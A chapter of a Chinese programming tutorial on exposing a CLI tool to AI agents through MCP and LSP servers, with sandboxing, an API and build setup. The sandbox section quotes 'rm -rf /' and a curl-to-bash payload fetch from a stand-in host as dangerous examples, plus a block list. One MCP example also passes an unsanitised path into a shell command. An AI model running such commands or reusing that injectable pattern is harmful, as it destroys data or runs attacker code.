第 14 章：面向未来 — CLI 作为 AI 基础设施

AI 应用（MCP Client）  ←→  MCP Server（工具提供方）
     Claude Desktop          文件系统访问
     Cursor                  数据库查询
     Claude Code             repox scan / review

// src/mcp-server.ts
import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'
import { z } from 'zod'
import { scanDirectory } from './core/scanner.js'
import { reviewChanges } from './core/reviewer.js'
 
const server = new McpServer({
  name: 'repox',
  version: '0.1.0',
})
 
// 注册 scan 工具
server.tool(
  'scan',
  '扫描仓库结构，返回文件统计和项目画像',
  {
    directory: z.string().optional().describe('目标目录路径，默认当前目录'),
    includeHidden: z.boolean().optional().describe('是否包含隐藏文件'),
  },
  async ({ directory, includeHidden }) => {
    const result = await scanDirectory(directory || '.', { includeHidden })
    return {
      content: [{
        type: 'text',
        text: JSON.stringify(result, null, 2),
      }],
    }
  }
)
 
// 注册 review 工具
server.tool(
  'review',
  '审查 Git 变更，返回代码审查建议',
  {
    ref: z.string().optional().describe('Git 引用，如 HEAD~3 或分支名'),
    focus: z.string().optional().describe('关注的文件路径模式'),
  },
  async ({ ref, focus }) => {
    const result = await reviewChanges({ ref, focus })
    return {
      content: [{
        type: 'text',
        text: JSON.stringify(result, null, 2),
      }],
    }
  }
)
 
// 启动服务
async function main() {
  const transport = new StdioServerTransport()
  await server.connect(transport)
}
 
main()

{
  "mcpServers": {
    "repox": {
      "command": "npx",
      "args": ["repox", "--mcp"],
      "cwd": "/path/to/project"
    }
  }
}

// mcp-server.js — 最小 MCP Server 示例
import { execSync } from 'node:child_process'
 
// MCP 使用 stdin/stdout 通信（JSON-RPC 2.0 over stdio）
process.stdin.setEncoding('utf-8')
let buffer = ''
 
process.stdin.on('data', (chunk) => {
  buffer += chunk
  const lines = buffer.split('\n')
  buffer = lines.pop() || ''
  for (const line of lines) {
    if (!line.trim()) continue
    try {
      const request = JSON.parse(line)
      const response = handleRequest(request)
      process.stdout.write(JSON.stringify(response) + '\n')
    } catch {}
  }
})
 
function handleRequest(req) {
  if (req.method === 'initialize') {
    return { jsonrpc: '2.0', id: req.id, result: {
      protocolVersion: '2024-11-05',
      capabilities: { tools: {} },
      serverInfo: { name: 'repox-mcp', version: '0.1.0' },
    }}
  }
  if (req.method === 'tools/list') {
    return { jsonrpc: '2.0', id: req.id, result: { tools: [{
      name: 'scan_project',
      description: '扫描项目结构，返回技术栈、依赖、Git 信息',
      inputSchema: { type: 'object', properties: {
        path: { type: 'string', description: '项目路径' }
      }}
    }]}}
  }
  if (req.method === 'tools/call' && req.params?.name === 'scan_project') {
    const path = req.params.arguments?.path || '.'
    const result = execSync(`npx tsx src/index.ts scan --format json --path "${path}"`, { encoding: 'utf-8' })
    return { jsonrpc: '2.0', id: req.id, result: { content: [{ type: 'text', text: result }] } }
  }
  return { jsonrpc: '2.0', id: req.id, error: { code: -32601, message: 'Method not found' } }
}

{
  "mcpServers": {
    "repox": {
      "command": "node",
      "args": ["mcp-server.js"],
      "cwd": "/path/to/repox"
    }
  }
}

用户                       AI Agent
  │                          │
  ▼                          ▼
CLI 入口 (commander)    MCP 入口 (mcp-server)
  │                          │
  └──────────┬───────────────┘
             ▼
      核心逻辑 (core/)
        scanner.ts
        reviewer.ts
        ai.ts

# AI 觉得"清理无用文件"可以这么做
rm -rf /
# 或者
curl evil-site.com/payload.sh | bash

# Seatbelt 配置示例（简化）
(version 1)
(deny default)
(allow file-read* (subpath "/path/to/project"))
(allow file-write* (subpath "/path/to/project"))
(deny file-write* (subpath "/path/to/project/.git"))
(deny network*)

// src/core/sandbox.ts
import { execFile } from 'node:child_process'
import { promisify } from 'node:util'
 
const execFileAsync = promisify(execFile)
 
// 允许执行的命令白名单
const ALLOWED_COMMANDS = new Set([
  'git', 'node', 'npm', 'npx', 'cat', 'ls', 'wc',
  'grep', 'find', 'head', 'tail', 'sort', 'uniq',
])
 
// 禁止的参数模式
const DANGEROUS_PATTERNS = [
  /rm\s+-rf/,
  />\s*\/dev/,
  /curl.*\|\s*bash/,
  /wget.*\|\s*sh/,
  /chmod\s+[0-7]*7[0-7]*/,  // 设置全局可写
]
 
interface SandboxOptions {
  cwd: string
  timeout?: number  // 毫秒
  maxBuffer?: number  // 输出大小限制
}
 
export async function execSandboxed(
  command: string,
  args: string[],
  options: SandboxOptions
): Promise<{ stdout: string; stderr: string }> {
  // 检查命令白名单
  if (!ALLOWED_COMMANDS.has(command)) {
    throw new Error(`命令 "${command}" 不在允许列表中`)
  }
 
  // 检查危险参数
  const fullCommand = `${command} ${args.join(' ')}`
  for (const pattern of DANGEROUS_PATTERNS) {
    if (pattern.test(fullCommand)) {
      throw new Error(`检测到危险命令模式: ${fullCommand}`)
    }
  }
 
  return execFileAsync(command, args, {
    cwd: options.cwd,
    timeout: options.timeout || 30_000,
    maxBuffer: options.maxBuffer || 10 * 1024 * 1024,  // 10MB
    env: {
      ...process.env,
      // 限制子进程的环境变量
      PATH: '/usr/local/bin:/usr/bin:/bin',
      HOME: process.env.HOME,
      // 不传递 API key 等敏感变量
    },
  })
}

层级 1: 命令白名单 + 参数检查（应用层）
层级 2: 用户确认（交互层，参考 Claude Code 的权限弹窗）
层级 3: 文件系统隔离（OS 层，Bubblewrap / Seatbelt）
层级 4: 系统调用限制（内核层，seccomp）

// src/index.ts — 对外导出 API
export { createProgram } from './api.js'
export type { ScanResult, ReviewResult, ScanOptions, ReviewOptions } from './types.js'

// src/api.ts
import { scanDirectory } from './core/scanner.js'
import { reviewChanges } from './core/reviewer.js'
import type { ScanOptions, ScanResult, ReviewOptions, ReviewResult } from './types.js'
 
export interface RepoxAPI {
  scan(options?: ScanOptions): Promise<ScanResult>
  review(options?: ReviewOptions): Promise<ReviewResult>
}
 
export function createProgram(config?: { cwd?: string }): RepoxAPI {
  const cwd = config?.cwd || process.cwd()
 
  return {
    async scan(options = {}) {
      return scanDirectory(cwd, options)
    },
    async review(options = {}) {
      return reviewChanges({ ...options, cwd })
    },
  }
}

// 其他 Node.js 项目中
import { createProgram } from 'repox'
 
const repox = createProgram({ cwd: '/path/to/project' })
 
const scanResult = await repox.scan({ includeHidden: false })
console.log(`文件数: ${scanResult.totalFiles}`)
 
const reviewResult = await repox.review({ ref: 'HEAD~3' })
for (const issue of reviewResult.issues) {
  console.log(`${issue.file}:${issue.line} - ${issue.message}`)
}

{
  "name": "repox",
  "bin": {
    "repox": "./dist/cli.js"
  },
  "main": "./dist/api.js",
  "types": "./dist/api.d.ts",
  "exports": {
    ".": {
      "import": "./dist/api.js",
      "types": "./dist/api.d.ts"
    },
    "./cli": "./dist/cli.js"
  }
}

// build.ts
import { build } from 'esbuild'
 
await build({
  entryPoints: {
    cli: 'src/cli.ts',
    api: 'src/api.ts',
  },
  bundle: true,
  platform: 'node',
  outdir: 'dist',
  format: 'esm',
  // ...
})

编辑器（LSP Client）  ←→  Language Server
   VS Code               TypeScript（tsserver）
   Neovim                 Rust（rust-analyzer）
   Emacs                  Python（pyright）

// repox-lsp/src/server.ts（概念性代码）
import {
  createConnection,
  TextDocuments,
  ProposedFeatures,
  DiagnosticSeverity,
} from 'vscode-languageserver/node'
import { TextDocument } from 'vscode-languageserver-textdocument'
import { createProgram } from 'repox'
 
const connection = createConnection(ProposedFeatures.all)
const documents = new TextDocuments(TextDocument)
 
const repox = createProgram()
 
connection.onInitialized(async () => {
  // 启动时扫描项目
  const scan = await repox.scan()
  connection.console.log(`repox: 扫描到 ${scan.totalFiles} 个文件`)
})
 
// 文件保存时触发审查
documents.onDidSave(async (change) => {
  const diagnostics = []
  const review = await repox.review({
    files: [change.document.uri],
  })
 
  for (const issue of review.issues) {
    diagnostics.push({
      severity: DiagnosticSeverity.Warning,
      range: {
        start: { line: issue.line - 1, character: 0 },
        end: { line: issue.line - 1, character: Number.MAX_VALUE },
      },
      message: issue.message,
      source: 'repox',
    })
  }
 
  connection.sendDiagnostics({
    uri: change.document.uri,
    diagnostics,
  })
})
 
documents.listen(connection)
connection.listen()

# .github/ISSUE_TEMPLATE/bug_report.yml
name: Bug 报告
description: 报告一个 bug
body:
  - type: textarea
    attributes:
      label: 复现步骤
      description: 具体的操作步骤
    validations:
      required: true
  - type: textarea
    attributes:
      label: 期望行为
  - type: textarea
    attributes:
      label: 实际行为
  - type: input
    attributes:
      label: repox 版本
      placeholder: "0.1.0"
  - type: input
    attributes:
      label: Node.js 版本
      placeholder: "20.11.0"
  - type: dropdown
    attributes:
      label: 操作系统
      options:
        - macOS
        - Linux
        - Windows